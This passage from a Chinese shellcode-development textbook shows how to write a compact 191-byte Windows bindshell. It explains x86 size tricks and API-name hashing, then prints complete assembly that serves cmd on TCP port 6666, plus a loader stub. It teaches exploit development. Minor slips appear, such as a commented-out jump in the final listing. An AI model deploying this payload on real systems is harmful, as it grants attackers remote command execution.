3.6 为shellcode“减肥”
3.6.1 shellcode瘦身大法
除了对内容的限制之外,shellcode的长度也将是其优劣性的重要衡量标准。短小精悍的shellcode除了可以宽松地布置在大缓冲区之外,还可以塞进狭小的内存缝隙,适应多种多样的缓冲区组织策略,具有更强的通用性。
用尽可能短的代码篇幅在shellcode中实现丰富的功能需要很多编程技巧,我们这一节就专门讨论这类用于精简代码篇幅的编程技巧。
本节将以实现一个能够绑定端口等待外来连接的shellcode为例,来介绍用于精简代码篇幅的编程技巧。这些技巧和思路将为开发高级的shellcode带来很多启示和帮助。
本节大部分内容源于NGS公司的著名安全专家Dafydd Stuttard的文章“Writing Small shellcode”。在征得Dafydd本人的同意后,我们对这篇文章进行了重新加工和组织,希望对shellcode开发感兴趣的朋友能够有所帮助。
本节将涉及比较多的汇编知识和技术,供有一定汇编语言开发基础的朋友学习参考。如果您想专注于漏洞分析和利用方面的知识,也可跳过本节,直接学习后续的章节。
当shellcode的尺寸缩短到一定程度之后,每减少一个字节,我们都需要额外做更多努力。在实际开发之前,首先我们应当清楚shellcode中的指令是用什么办法“节省”出来的。
1.勤俭持家——精挑细选“短”指令
x86指令集中指令所对应的机器码的长短是不一样的,有时候功能相似的指令的机器码长度差异会很大。这里给出一些非常有用的单字节指令。
xchg eax,reg交换eax和其他寄存器中的值 lodsd 把esi指向的一个dword装入eax,并且增加esi lodsb 把esi指向的一个byte装入al,并且增加esi stosd stosb pushad/popad 从栈中存储/恢复所有寄存器的值 cdq用edx把eax扩展成四字。这条指令在eax<0x80000000时可用作mov edx , NULL
2.事半功倍——“复合”指令功能强
有时候我们可以把两件事情用一条指令完成,例如,用xchg、lods或者stos。
3.妙用内存——另类的API调用方式
有些API中许多参数都是NULL,通常的做法是多次向栈中压入NULL。如果我们换一个思路,把栈中的一大片区域一次性全部置为NULL,在调用API的时候就可以只压入那些非NULL的参数,从而节省出许多压栈指令。
我们经常会遇到API中需要一个很大的结构体做参数的情况。通过实验可以发现,大多数情况下,健壮的API都可以允许两个结构体相互重叠,尤其是当一个参数是输入结构体[in],另一个用作接收的结构体[out]时,如果让参数指向同一个[in]结构体,函数往往也能正确执行。这种情况下,仅仅用一个字节的短指令“push esp”就可以代替一大段初始化[out]结构体的代码。
4.色既是空,空既是色——代码也可以当数据
很多Windows的API都会要求输入参数是一种特定的数据类型,或者要求特定的取值区间。虽然如此,通过实验我们发现,大多数API出于函数健壮性的考虑,在实现时已经对非法参数做出了正确处理。例如,我们经常见到API的参数是一个结构体指针和一个指明结构体大小的值,而用于指明结构体大小的参数只要足够大,就不会对函数执行造成任何影响。如果在编写shellcode时,发现栈区恰好已经有一个很大的数值,哪怕它是指令码,我们也可以把它的值当成数据直接使用,从而节省掉一条参数压栈的指令。总之,在开发shellcode的时候,代码可以是数据,数据也可以是代码!
3.变废为宝——调整栈顶回收数据
普通程序员不会直接与系统栈打交道,通常与栈沟通的总是编译器。在编译器看来,栈仅仅是用来保护函数调用断点、暂存函数输入参数和返回值等的场所。但是,作为一个shellcode的开发人员,必须富有更多的想象力。栈顶之上的数据在逻辑上视为废弃数据,但其物理内容往往并未遭到破坏。如果栈顶之上有需要的数据,不妨调整esp的值将栈顶抬高,把它们保护起来以便后面使用,这样能节省出很多用作数据初始化的指令。这与我们前边讲的抬高栈帧保护shellcode有相似之处。
6.打破常规——巧用寄存器
按照默认的函数调用约定,在调用API时有些寄存器(如EBP、ESI、EDI等)总是被保存在栈中。把函数调用信息存在寄存器中而不是存在栈中会给shellcode带来很多好处。比如大多数函数的运行过程中都不会使用EBP寄存器,故我们可以打破常规,直接使用EBP来保存数据,而不是把数据存在栈中。
一些x86的寄存器有着自己特殊的用途。有的指令要求只能使用特定的寄存器;有的指令使用特定寄存器时的机器码要比使用其他寄存器短。此外,如果寄存器中含有调用函数时需要的数值,尽管不是立刻要调用这些函数,可能还是要考虑提前把寄存器压入栈内以备后用,以免到时候还得另用指令重新获取。
7.取其精华,去其糟粕——永恒的压缩法宝,hash
实用的shellcode通常需要超过200甚至300字节的机器码,所以对原始的二进制shellcode进行编码或压缩是很值得的。上节实验中在搜索API函数名时,并没有在shellcode中存储原始的函数名,而是使用了函数名的摘要。在需要的API比较多的情况下,这样能够节省不少shellcode的篇幅。
3.6.2 选择恰当的hash算法
我们想要在shellcode中实现的功能如下。
(1)绑定一个shell到6666端口。
(2)允许外部的网络连接使用这个shell。
(3)程序能够正常退出。
这个shellcode应当具有较强的通用性,能够在Windows NT4、Windows 2000、Windows XP和Windows 2003上运行。开发过程中需要解决的问题实际上有这样两个。
(1)在不同的操作系统版本中,用通用的方法定位所需API函数的地址。
(2)调用这些API,完成shellcode的功能。
定位API的方法和思路已经在上节实验中介绍过了,这里准备进一步优化搜索API时使用的hash算法,以精简shellcode。
实现bindshell需要的函数包括。
1.kernel32.dll中的导出函数
LoadLibraryA 用来装载ws2_32.dll。 CreateProcessA 用来为客户端创建一个shell命令窗口。 ExitProcess 用于程序的正常退出。
2.ws2_32.dll中的导出函数
WSAStartup 需要初始化winsock。 WSASocketA 创建套结字。 bind 绑定套结字到本地端口。 listen 监听外部连接。 accept 处理一个外部连接。
我们将搜索相关库函数的导出表,查找导出表中的函数名,最终确定函数入口地址。在搜索操作中将采用比较hash摘要的方法,而不是直接比较函数名。其中,选择合适的hash算法将是这种方法的关键,也是缩短shellcode代码的关键。
下面是在选择这种算法时所考虑的因素。
(1)所需的每个库文件(dll)内所有导出函数的函数名经过hash后的摘要不能有“碰撞”。
其实这个因素在一些情况下可以适当放宽。例如,当被搜索的函数排在碰撞函数名的第一个时,即使存在hash碰撞,我们仍然知道最先搜到的就是所需要的函数,故这种碰撞是可以容忍的。
(2)函数名经过hash后得到的摘要应该最短。
可以认为单字节(8bit)的摘要是最佳的。kernel32.dll的导出表里有超过900个函数,8bit的摘要有256种可能,考虑到hash碰撞可以部分容忍,经过精心选择hash算法,这个摘要长度应该可行。如果把hash值缩短到小于8bit,则需要额外的代码处理摘要的字节对齐问题,这个代价相对压缩摘要而节省出的空间来说,是得不偿失的(我们上节实验中的摘要为4字节,是本节摘要长度的4倍)。
(3)hash算法实现所需的代码篇幅最短。
这里需要牢记于心,x86中实现相似功能的操作码长短往往相差很多,例如:
\xd0\xc1 ;rol cl, 1 \xc0\xc1\x02 ;rol cl, 2 \x66\xc1\xc1\x02 ;rol cx, 2
所以,一个需要完成很多操作的hash函数的机器码在经过精心优化选取最恰当的指令后,是有很大的“减肥”空间的。
(4)经过hash后的摘要可等价于指令的机器码,即把数据也当做代码使用。
如果所需函数的函数名后经过hash后得到的摘要等价于nop指令,即“准nop指令”,那么就可以把这些hash值放在shellcode的开头。这样布置shellcode可以省去跳过这段摘要的跳转指令,处理器可以直接把这段hash摘要当作指令,顺序执行过去。此时,数据和代码实际上是重叠的。
提示:“准nop”指令并不仅仅是指0x90,而是相对于实际代码的上下文而言的,是指不影响后续代码执行的指令。比如此时ECX中的值无关紧要,那么INC ECX对于整个shellcode来说就相当于“不疼不痒”的nop指令。
考虑到会有很多hash算法供我们选择,您可以写一段程序来测试这些算法中哪些最符合要求。首先选取一部分hash需要的x86指令(xor、add、rol等)用来构造hash算法,然后把动态链接库中导出函数的函数名一个一个地送进这个hash函数,得到对应的8bit的摘要,并按照hash碰撞、摘要最短、算法精炼这三条标准对算法进行筛选。
在可被两条双字节指令实现的hash算法中,可以找到6种符合基本条件。经过人工核查,发现其中一种hash算法恰能够满足代码和数据重叠的要求。
题外话:尽管这里的hash算法适用于目前所有基于NT的Windows版本,但是如果将来的Windows版本在动态链接库中引进新的导出函数,打破了容忍hash碰撞的限制(新导出函数的hash值与我们所需函数的hash值一样,并且在我们所需的函数之前定义),那么我们就得重新寻找新的hash算法了。
最终的hash算法如下(esi指向当前被hash的函数名;edx被初始化为null)。
hash_loop: lodsb ;把函数名中的一个字符装入al,并且esi+1,指向函数 ;名中下一个字符 xor al, 0x71 ;用0x71异或当前的字符 sub dl, al ;更新dl中的hash值 cmp al, 0x71 ;继续循环,直到遇到字符串的结尾null jne hash_loop
通过这个hash函数,原函数名、hash值、hash值对应的指令三者之间的关系如表3-6-1所示。
表3-6-1 原函数名、hash值及其对应指令的关系
这里顺便看一下字符串“cmd”紧跟在hash值后面会对程序执行有什么影响。在调用CreateProcessA的时候,我们需要这个字符串作参数来得到一个命令行的shell。已知这个调用不需要后缀“.exe”,并且对字符串的要求是大小写无关的,也就是说,“cMd”与“cmD”是等价的,如表3-6-2所示。
表3-6-2 ASCII字值及其机器码对应的指令
0x64对应的是取指前缀,就是告诉处理器取指令的时候去FS段中的地址里取。由于大多数情况只是要执行下一条指令,所以前缀是多余的,并且会被处理器忽略。因此,字符串“CMd”也将被处理器当做指令“不疼不痒”地执行过去。
3.6.3 191个字节的bindshell
在优化完hash算法之后,还需要把hash过的函数名变成真正的函数地址。有两种思路:一次解析出所有函数的入口地址,然后保存在栈中以供后面使用;在每次使用到这个函数的时候再去解析它。这两种方案各有利弊,需要视具体情况而定,这里采用第一种方案。
我们准备把解析出的函数地址存于栈中shellcode的“上”边(内存低址)。由于是通过调用ExitProcess退出程序,所以不用担心堆栈平衡等内存细节。
一共有8个函数地址,地址为双字,每个4字节,共32个字节。我们将从hash摘要前的24个字节的地方开始存储函数地址,这意味着最后两个函数地址将写入hash值的区域,而且刚好在字符串“cmd”之前结束(8个函数名的hash值,共8字节)。稍后就会明白,这样做是因为可以用寄存器中指向“cmd”的指针来调用CreateProcessA。
之后用lodsb指令来读取hash值、stosd指令来存储函数地址,为此需要把esi指向hash值、edi指向函数地址的存储位置。由于这时eax中的值相对比较小(指向栈中的某一个位置),所以还可以利用单字节指令cdq给edx置0。
cdq ;set edx = 0 xchg eax, esi ;esi = addr of first function hash lea edi, [esi - 0x18] ;edi = addr to start writing function
我们需要的函数来自于两个动态链接库文件:kernel32.dll和ws2_32.dll。由于ws2_32.dll还没有被装载,而每一个Windows的进程都会装载kernel32.dll,所以先从它开始。这里仍然用上节介绍的读取PEB中动态链接库初始化列表的经典方法来获得动态链接库的基址。
这里要循环执行8次地址定位才行。当kernel32.dll中的函数地址全都被找到的时候,需要调用LoadLibrary(“ws2_32”),然后用获得的基址去定位Winsock需要的其他函数。所以,在8次地址定位过程中还要加一次基地址切换。
当后面调用WSAStartup函数的时候,为了避免内存错误,我们还需要一个比较大块的栈空间来初始化WSADATA结构体。此刻,edx中的值是null,我们在栈中存储字符串“ws2_32”及其指针的代码如下:
mov dh, 0x03 sub esp, edx ;栈顶抬高0x0300 mov dx, 0x3233 ;0x32是ASCII字符‘2’,0x33是字符‘3’ push edx ;edx此时的内容为0x00003233,压栈后内存由低到高的 ;方向为0x33320000 push 0x5f327377 ;压栈后,内存由低到高(栈顶向栈底)为 ;0x7773325f33320000,就是“ws2_32” push esp ;此时的esp指向字符串“ws2_32”
假设解析函数地址时ebp中存储着动态链接库的基址,esi指向下一个函数名的hash值,edi指向下一个函数入口地址应该存放的位置。
在读入hash值之后,需要找到函数导出表。
find_lib_functions: lodsb ;load next hash into al find_functions: pushad ;preserve registers mov eax, [ebp + 0x3c] ;eax = start of PE header mov ecx, [ebp + eax + 0x78] ;ecx = relative offset of export ;table add ecx, ebp ;ecx = absolute addr of export table mov ebx, [ecx + 0x20] ;ebx = relative offset of names table add ebx, ebp ;ebx = absolute addr of names table xor edi, edi ;edi will count through the functions
然后,在循环中计算导出表中所有函数名的hash值。
next_function_loop: inc edi ;increment function counter mov esi, [ebx + edi * 4] ;esi = relative offset of current ;function name add esi, ebp ;esi = absolute addr of current ;function name cdq ;dl will hold hash (we know eax is;small) hash_loop: lodsb ;load next char into al xor al, 0x71 ;XOR current char with 0x71 sub dl, al ;update hash with current char cmp al, 0x71 ;loop until we reach end of string jne hash_loop
之后比较导出表中每一个函数名hash后得到的摘要,从而找出它们的地址。我们使用的shellcode装载程序假定eax指向shellcode的起始地址,且shellcode的起始正是存放所需函数hash摘要的地方,但在pushad指令保存所有寄存器状态之后,eax将被改写,而eax原值存储在栈中esp+0x1c的地方,所以需要把计算出的hash值与esp+0x1c所指的hash值相比较。
cmp dl, [esp + 0x1c] ;compare to the requested hash jnz next_function_loop
当跳出next_function_loop的时候,用edi作为计数器,里边所记录的循环次数就是函数偏移地址表中的位置,剩下的就是顺藤摸瓜找出这个函数的入口地址了。
mov ebx, [ecx + 0x24] ;ebx = relative offset of ordinals table add ebx, ebp ;ebx = absolute addr of ordinals ;table mov di, [ebx + 2 * edi] ;di = ordinal number of matched ;function mov ebx, [ecx + 0x1c] ;ebx = relative offset of address table add ebx, ebp ;ebx = absolute addr of address table add ebp, [ebx + 4 * edi] ;add to ebp (base addr of module) the ;relative offset of matched function
现在ebp中已经存放着所需的函数地址了,然而我们希望这个地址由edi中的指针引用。可以用stosd把地址存到那里,但是需要首先恢复edi的原始值。下面这几行代码虽然看起来有点不合常理,但却能够完成这个任务,并且只需要4个字节。
xchg eax, ebp ;move func addr into eax pop edi ;edi is last onto stack in pushad stosd ;write function addr to [edi] push edi ;restore the stack ready for popad
现在已经能够完成一个函数名hash对应的入口地址的解析了。我们需要保存寄存器状态,然后继续循环执行,直到所需的8个函数名的hash都被解析出来。回忆一下前面是怎样存放这些函数地址的?对了,最后一个函数地址将准确地把存放函数名hash的地方覆盖掉(后面是“cmd”字符串),所以我们可以通过判断esi和edi两个寄存器中指针的相同来结束用于API定位的循环体。
popad cmp esi, edi jne find_lib_functions
这差不多就是解析API入口地址的全过程,唯一欠缺的就是从kernel32.dll切换到ws2_32.dll中去解析函数地址了。当搞定前三个函数地址的时候,在执行find_functions之前加入下面几行代码来做到动态连接库的切换。
cmp al, 0xd3 ;hash of WSAStartup jne find_functions xchg eax, ebp ;save current hash call [edi - 0xc] ;LoadLibraryA xchg eax, ebp ;restore current hash, and update ebp;with base address of ws2_32.dll push edi ;save location of addr of first;Winsock function
提示:这时指向字符串“ws2_32”的指针恰好在栈顶,所以可以直接调用LoadLibraryA。
获得了这些函数地址之后,我们需要恰当地调用这些Winsock相关的函数。
首先需要调用WSAStartup来初始化Winsock。前面已经说过在解析函数的同时就把函数地址存在了栈中,并且是按照调用顺序存放的。因此,可以把函数地址装入esi,然后用lodsd/call eax来调用每一个需要的Winsock函数。
WSAStartup 函数有两个参数。
int WSAStartup( WORD wVersionRequested, LPWSADATA lpWSAData );
我们用栈区存储WSADATA结构体。由于这是一个[out]参数,且用于函数回写返回值,故不需要专门去初始化这个结构体。前边我们已经为自己开辟了足够大的栈空间,所以这里只要让这个结构体指针指向栈内一块空闲的区域,别让函数在回写返回值的时候冲掉有用的数据或者shellcode就行。
pop esi ;location of first Winsock function push esp ;lpWSAData push 0x02 ;wVersionRequested lodsd call eax ;WSAStartup
WSAStartup返回0代表Winsock初始化成功(如果非0,也就不用指望其余的代码能够成功运行了)。所以在eax中我们又有一个唾手可得的NULL用来做其他事情了。字符串“cmd”后面需要NULL作为字符串的结束;其他Winsock函数的参数中有不少也是NULL。如果现在我们把栈中一大片区域都置成NULL,那么在调用这些函数的时候就可以省去好几条对NULL的压栈指令。
除此以外,在调用CreateProcessA的时候我们只要对这片为NULL的栈区稍作“点缀”,就可以初始化出一个STARTUPINFO结构体。
mov byte ptr [esi + 0x13], al lea ecx, [eax + 0x30] mov edi, esp rep stosd
WSASocket函数有6个参数。
SOCKET WSASocket( int af, int type, int protocol, LPWSAPROTOCOL_INFO lpProtocolInfo, GROUP g, DWORD dwFlags );
我们只关心前两个参数,其余的都将设置NULL。对于af参数,这里将传入2(AF_INET),对于type,传入1(SOCK_STREAM)。由于栈区已经被初始化成NULL,所以其余的NULL参数压栈操作都可以省去了。
此外函数将返回一个socket,在后面的调用中(bind等)还要用到它。由于这里的API调用都不会修改ebp的值,所以我们可以用单字节的指令xchg ebp, eax把返回的socket保存在ebp中,而不是用两个字节的压栈指令存入栈中。
inc eax push eax ;type = 1 (SOCK_STREAM) inc eax push eax ;af = 2 (AF_INET) lodsd call eax ;WSASocketA xchg ebp, eax ;save SOCKET descriptor in ebp
下面要让得到的socket监听客户端的连接,也就是调用bind函数,它有3个参数。
int bind( SOCKET s, const struct sockaddr* name, int namelen );
作为一个普通的程序员,通常可能会认为要正确地调用bind函数,首先需要完成以下工作。
(1)创建并初始化一个sockaddr结构体。
(2)把结构体的大小压入栈中。
(3)把结构体的指针压入栈中。
(4)把socket压入栈中。
如果打破这种常规的思维方式,我们可以做得更巧妙。
首先,大多数结构体的名字都允许为空,所以只用关心sockaddr中前两个成员变量。
short sin_family; u_short sin_port;
其次,指明结构体大小的参数不一定真的就是精确的结构体长度。前面已经说过,只要这个参数足够大就行。所以这里将用0x0a1a0002作为指明结构体的大小的参数。其中,0x1a0a是十进制的6666,后面会被再次用作端口号;0x02则还可用作指明AF_INET。不巧的是,这个0x0a1a0002中包含一个字节的null,所以不能直接引用这个DWORD,必须用点心思巧妙地把它构造出来。
mov eax, 0x0a1aff02 xor ah, ah ;remove the ff push eax ;"length" of our structure, and its first two ;members push esp ;pointer to our structure push ebp ;saved SOCKET descriptor lodsd call eax ;bind
结构体中其他为NULL的部分就不用我们再去操心了,因为整个栈都已经被置成了NULL。后面还需要调用listen和accept函数,这两个函数的定义如下。
int listen( SOCKET s, int backlog ); SOCKET accept( SOCKET s, struct sockaddr* addr, int* addrlen );
对于这两个函数,调用的关键是我们前边已经存在ebp中的socket,其他的参数还是一律传NULL。accept函数将返回另一个socket用来表示客户端的连接,而bind和listen函数调用成功时会返回0。注意到这一点之后,可用返回值是否是NULL来作为循环结束的条件,在一个循环体中完成3次函数调用,而不是占用宝贵的shellcode空间来重复调用3次。读到这里,您就能明白前边把函数地址按照调用的顺序在栈里摆放的好处了。这个部分的代码如下。
call_loop: push ebp ;saved SOCKET descriptor lodsd call eax ;call the next function test eax, eax ;bind() and listen() return 0,;accept() returns a SOCKET descriptor jz call_loop
还缺一点就要大功告成了,我们还要接受客户端的连接,把cmd.exe作为子进程运行起来,并且用客户端的socket作为这个进程的std句柄,最后正常退出。
CreateProcess函数有10个参数,对我们而言,最关键的参数是STARTUPINFO结构体。就是这个结构体指明了“cmd”字符串,并把客户端的socket作为其std句柄。
STARTUPINFO的大多数成员变量都可以是NULL,所以用栈区被置过NULL的区域来初始化这个结构体。我们需要把STARTF_USESTDHANDLES标志位设为true,然后把客户端的socket(由accept函数返回,现在应该存在eax中)传给hStdInput、hStdOutput和hStdError(其实如果不管stderr,还可以节省出一条单字节指令)。
;initialise a STARTUPINFO structure at esp inc byte ptr [esp + 0x2d] ;set STARTF_USESTDHANDLES to true sub edi, 0x6c ;point edi at hStdInput in ;STARTUPINFO stosd ;set client socket as the stdin ;handle stosd ;same for stdout stosd ;same for stderr (optional)
最后就是调用CreateProcess函数。这段代码需要解释的东西不多,只要注意选取最短小精悍的指令就行。例如,由于栈中大片空间已经被设置NULL,故可以用单字节的短指令“pop eax”来为寄存器清零,而不是用两个字节的指令“xor eax, eax”;可以用单字节指令“push esp”来压入一个true,而不是双字节的指令“push 1”。
由于PROCESSINFORMATION结构体是一个[out]型的参数,可以把它指向栈区的[in]参数STARTUPINFO结构体。
pop eax ;set eax = 0 (STARTUPINFO now at esp + 4) push esp ;use stack as PROCESSINFORMATION;structure (STARTUPINFO now back to esp) push esp ;STARTUPINFO structure push eax ;lpCurrentDirectory = NULL push eax ;lpEnvironment = NULL push eax ;dwCreationFlags = NULL push esp ;bInheritHandles = true push eax ;lpThreadAttributes = NULL push eax ;lpProcessAttributes = NULL push esi ;lpCommandLine = "cmd" push eax ;lpApplicationName = NULL call [esi - 0x1c] ;CreateProcessA
现在,客户端已经能获得一个shell了,当然最后还要调用exit函数让程序能够正常地退出。
call [esi - 0x18] ;ExitProce–ss
完整的代码实现如下。
;start of shellcode ;assume: eax points here ;function hashes (executable as nop-equivalent) _emit 0x59 ;LoadLibraryA ;pop ecx _emit 0x81 ;CreateProcessA ;or ecx, 0x203062d3 _emit 0xc9 ;ExitProcess _emit 0xd3 ;WSAStartup _emit 0x62 ;WSASocketA _emit 0x30 ;bind _emit 0x20 ;listen _emit 0x41 ;accept ;inc ecx ;"CMd" _emit 0x43 ;inc ebx _emit 0x4d ;dec ebp _emit 0x64 ;FS: ;start of proper code cdq ;set edx = 0 (eax points to stack so ;is less than 0x80000000) xchg eax, esi ;esi = addr of first function hash lea edi, [esi - 0x18] ;edi = addr to start writing function ;addresses (last addr will be written ;just before "cmd") ;find base addr of kernel32.dll mov ebx, fs:[edx + 0x30] ;ebx = address of PEB mov ecx, [ebx + 0x0c] ;ecx = pointer to loader data mov ecx, [ecx + 0x1c] ;ecx = first entry in initialisation ;order list mov ecx, [ecx] ;ecx = second entry in list ;(kernel32.dll) mov ebp, [ecx + 0x08] ;ebp = base address of kernel32.dll ;make some stack space mov dh, 0x03 ;sizeof(WSADATA) is 0x190 sub esp, edx ;push a pointer to "ws2_32" onto stack mov dx, 0x3233 ;rest of edx is null push edx push 0x5f327377 push esp find_lib_functions: lodsb ;load next hash into al and increment ;esi cmp al, 0xd3 ;hash of WSAStartup - trigger;LoadLibrary("ws2_32") jne find_functions xchg eax, ebp ;save current hash call [edi - 0xc] ;LoadLibraryA xchg eax, ebp ;restore current hash, and update ebp;with base address of ws2_32.dll push edi ;save location of addr of first ;winsock function find_functions: pushad ;preserve registers mov eax, [ebp + 0x3c] ;eax = start of PE header mov ecx, [ebp + eax + 0x78] ;ecx = relative offset of export table add ecx, ebp ;ecx = absolute addr of export table mov ebx, [ecx + 0x20] ;ebx = relative offset of names table add ebx, ebp ;ebx = absolute addr of names table xor edi, edi ;edi will count through the functions next_function_loop: inc edi ;increment function counter mov esi, [ebx + edi * 4] ;esi = relative offset of current ;function name add esi, ebp ;esi = absolute addr of current function ;name cdq ;dl will hold hash (we know eax is;small) hash_loop: lodsb ;load next char into al and increment ;esi xor al, 0x71 ;XOR current char with 0x71 sub dl, al ;update hash with current char cmp al, 0x71 ;loop until we reach end of string jne hash_loop cmp dl, [esp + 0x1c] ;compare to the requested hash (saved;on stack from pushad) jnz next_function_loop ;we now have the right function mov ebx, [ecx + 0x24] ;ebx = relative offset of ordinals ;table add ebx, ebp ;ebx = absolute addr of ordinals ;table mov di, [ebx + 2 * edi] ;di = ordinal number of matched ;function mov ebx, [ecx + 0x1c] ;ebx = relative offset of address ;table add ebx, ebp ;ebx = absolute addr of address table add ebp, [ebx + 4 * edi] ;add to ebp (base addr of module) the ;relative offset of matched function xchg eax, ebp ;move func addr into eax pop edi ;edi is last onto stack in pushad stosd ;write function addr to [edi] and ;increment edi push edi popad ;restore registers cmp esi, edi ;loop until we reach end of last hash jne find_lib_functions pop esi ;saved location of first winsock ;function ;we will lodsd and call each func in;sequence ;initialize winsock push esp ;use stack for WSADATA push 0x02 ;wVersionRequested lodsd call eax ;WSAStartup ;null-terminate "cmd" mov byte ptr [esi + 0x13], al ;eax = 0 if WSAStartup() worked ;clear some stack to use as NULL parameters lea ecx, [eax + 0x30] ;sizeof(STARTUPINFO) = 0x44, mov edi, esp rep stosd ;eax is still 0 ;create socket inc eax push eax ;type = 1 (SOCK_STREAM) inc eax push eax ;af = 2 (AF_INET) lodsd call eax ;WSASocketA xchg ebp,eax ;save SOCKET descriptor in ebp (safe ;from being changed by remaining API ;calls) ;push bind parameters mov eax, 0x0a1aff02 ;0x1a0a = port 6666, 0x02 = AF_INET xor ah, ah ;remove the ff from eax push eax ;we use 0x0a1a0002 as both the name ;(struct sockaddr) and namelen (which ;only needs to be large enough) push esp ;pointer to our sockaddr struct ;call bind(), listen() and accept() in turn call_loop: push ebp ;saved SOCKET descriptor (we ;implicitly pass NULL for all other ;params) lodsd call eax ;call the next function test eax, eax ;bind() and listen() return 0, ;accept() returns a SOCKET descriptor ;jz call_loop ;initialise a STARTUPINFO structure at esp inc byte ptr [esp + 0x2d] ;set STARTF_USESTDHANDLES to true sub edi, 0x6c ;point edi at hStdInput in ;STARTUPINFO stosd ;use SOCKET descriptor returned by ;accept (still in eax) as the stdin ;handle same for stdout stosd ;same for stderr (optional) ;create process pop eax ;set eax = 0 (STARTUPINFO now at esp + 4) push esp ;use stack as PROCESSINFORMATION structure ;(STARTUPINFO now back to esp) push esp ;STARTUPINFO structure push eax ;lpCurrentDirectory = NULL push eax ;lpEnvironment = NULL push eax ;dwCreationFlags = NULL push esp ;bInheritHandles = true push eax ;lpThreadAttributes = NULL push eax ;lpProcessAttributes = NULL push esi ;lpCommandLine = "cmd" push eax ;lpApplicationName = NULL call [esi - 0x1c] ;CreateProcessA ;call ExitProcess() call [esi - 0x18] ;ExitProcess
可以用前边的shellcode装载器调试运行。
void main() { __asm { lea eax, sc push eax ret } }
最后,需要再次注意,这段代码假设eax指向shellcode的开始位置,在具体使用时可能还需稍作调整。